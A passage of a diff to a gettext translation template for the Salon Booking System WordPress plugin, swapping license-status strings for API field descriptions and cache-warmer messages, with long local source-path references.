..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1588\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:359\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1801\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:378\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1588\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:359\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1801\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:378\n+msgid \"The amount for the resource.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FThird\u002FGoogleScope.php:895, src\u002FSLN\u002FThird\u002FGoogleScope.php:893, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FThird\u002FGoogleScope.php:895, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FThird\u002FGoogleScope.php:893, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FThird\u002FGoogleScope.php:895, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FThird\u002FGoogleScope.php:893, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FThird\u002FGoogleScope.php:895, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FThird\u002FGoogleScope.php:893, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FThird\u002FGoogleScope.php:895, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FThird\u002FGoogleScope.php:893, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FThird\u002FGoogleScope.php:895, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FThird\u002FGoogleScope.php:893\n-msgid \"Booking URL\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:367\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:386\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:367\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:386\n+msgid \"The amount type for the resource.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FThird\u002FGoogleScope.php:909, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FThird\u002FGoogleScope.php:909, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FThird\u002FGoogleScope.php:909, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FThird\u002FGoogleScope.php:909, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FThird\u002FGoogleScope.php:909, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FThird\u002FGoogleScope.php:909\n-msgid \"Discount amount\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1534\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1747\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1534\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1747\n+msgid \"The assistant id.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FThird\u002FGoogleScope.php:910, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FThird\u002FGoogleScope.php:910, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FThird\u002FGoogleScope.php:910, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FThird\u002FGoogleScope.php:910, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FThird\u002FGoogleScope.php:910, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FThird\u002FGoogleScope.php:910\n-msgid \"Net total amount\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1542\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1755\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1542\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1755\n+msgid \"The assistant name.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FUpdate\u002FManager.php:280, src\u002FSLN\u002FUpdate\u002FPage.php:212\n-msgid \"error\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCheckDateAlt.php:93\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCheckDateAlt.php:93\n+msgid \"The attendant is unavailable on this day\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FUpdate\u002FManager.php:316, src\u002FSLN\u002FUpdate\u002FPage.php:194\n-msgid \"invalid\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:519\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:649\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:586\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:603\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:519\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:649\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:586\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:603\n+msgid \"The availabilities for the resource.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FUpdate\u002FManager.php:305, src\u002FSLN\u002FUpdate\u002FPage.php:189\n-msgid \"active\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:523\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:653\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:590\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:607\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:523\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:653\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:590\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:607\n+msgid \"The availability item.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FUpdate\u002FManager.php:376, src\u002FSLN\u002FUpdate\u002FPage.php:229, src\u002FSLN\u002FUpdate\u002FPage.php:237, src\u002FSLN\u002FUpdate\u002FPage.php:245, src\u002FSLN\u002FUpdate\u002FPage.php:257\n-msgid \"Not available\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account_details.php:49\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account_details.php:49\n+msgid \"The booking has been cancelled\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FUpdate\u002FManager.php:416\n-msgid \"Active (no expiration)\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomFields_Controller.php:186\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomFields_Controller.php:186\n+msgid \"The booking hidden for the resource.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FUpdate\u002FManager.php:414\n-msgid \"Active (expires %s)\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:468\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:476\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:487\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:495\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:468\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:476\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:487\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:495\n+msgid \"The booking number.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FUpdate\u002FManager.php:424\n-msgid \"No active subscription\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002Fsalon_date.php:72\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002Fsalon_services.php:73\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002Fsalon_date.php:72\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002Fsalon_services.php:73\n+msgid \"\"\n+\"The booking process requires cookies to work properly. Please enable cookies \"\n+\"and reload the page.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FUpdate\u002FManager.php:651, src\u002FSLN\u002FUpdate\u002FPage.php:789\n-msgid \"Unknown Product\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:724\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:827\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:724\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:827\n+msgid \"The bookings ids for the resource.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FUpdate\u002FManager.php:662, src\u002FSLN\u002FUpdate\u002FPage.php:299\n-msgid \"No expiration date\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:611\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:565\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:611\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:565\n+msgid \"The break between services for the resource.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FUpdate\u002FManager.php:679, src\u002FSLN\u002FUpdate\u002FPage.php:296\n-msgid \"overdue\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002F_tools_cache_warmer.php:30\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_tools_cache_warmer.php:30\n+msgid \"\"\n+\"The cache warmer pre-calculates availability data to eliminate delays on \"\n+\"your booking form. It runs automatically every 25 minutes via WordPress cron.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FUpdate\u002FManager.php:677, src\u002FSLN\u002FUpdate\u002FPage.php:292\n-msgid \"Expires today\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002F_tools_cache_warmer.php:129\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_tools_cache_warmer.php:129\n+msgid \"\"\n+\"The cache warmer uses incremental warming, so it will warm as many services \"\n+\"as possible within 25 seconds, then continue in the next run. A full cycle \"\n+\"typically completes in 2-3 runs.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FUpdate\u002FManager.php:674, src\u002FSLN\u002FUpdate\u002FPage.php:290\n-msgid \"remaining\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:120\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:120\n+msgid \"\"\n+\"The calendar and customers directory are available in Salon Booking System \"\n+\"PRO. Upgrade to unlock them in the mobile app.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FUpdate\u002FManager.php:740, src\u002FSLN\u002FUpdate\u002FManager.php:772\n-msgid \"Date not available\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002F_m_attendants.php:87\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_m_attendants.php:87\n+msgid \"The choice of assistant is not provided for this service\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FUpdate\u002FPage.php:25\n-msgid \" needs a valid license\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:440\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:459\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:440\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:459\n+msgid \"The coupon code for the resource.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FUpdate\u002FPage.php:26\n-msgid \"\u003Cp>Please insert your license key\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAdmin\u002FSettingTabs\u002FGeneralTab.php:182\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAdmin\u002FSettingTabs\u002FGeneralTab.php:190\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAdmin\u002FSettingTabs\u002FGeneralTab.php:197\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAdmin\u002FSettingTabs\u002FGeneralTab.php:207\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAdmin\u002FSettingTabs\u002FGeneralTab.php:217\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FSettingTabs\u002FGeneralTab.php:182\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FSettingTabs\u002FGeneralTab.php:190\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FSettingTabs\u002FGeneralTab.php:197\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FSettingTabs\u002FGeneralTab.php:207\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FSettingTabs\u002FGeneralTab.php:217\n+msgid \"\"\n+\"The cron schedule cannot be created. Please try updating the settings again.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FUpdate\u002FPage.php:112\n-msgid \"License status: \"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: 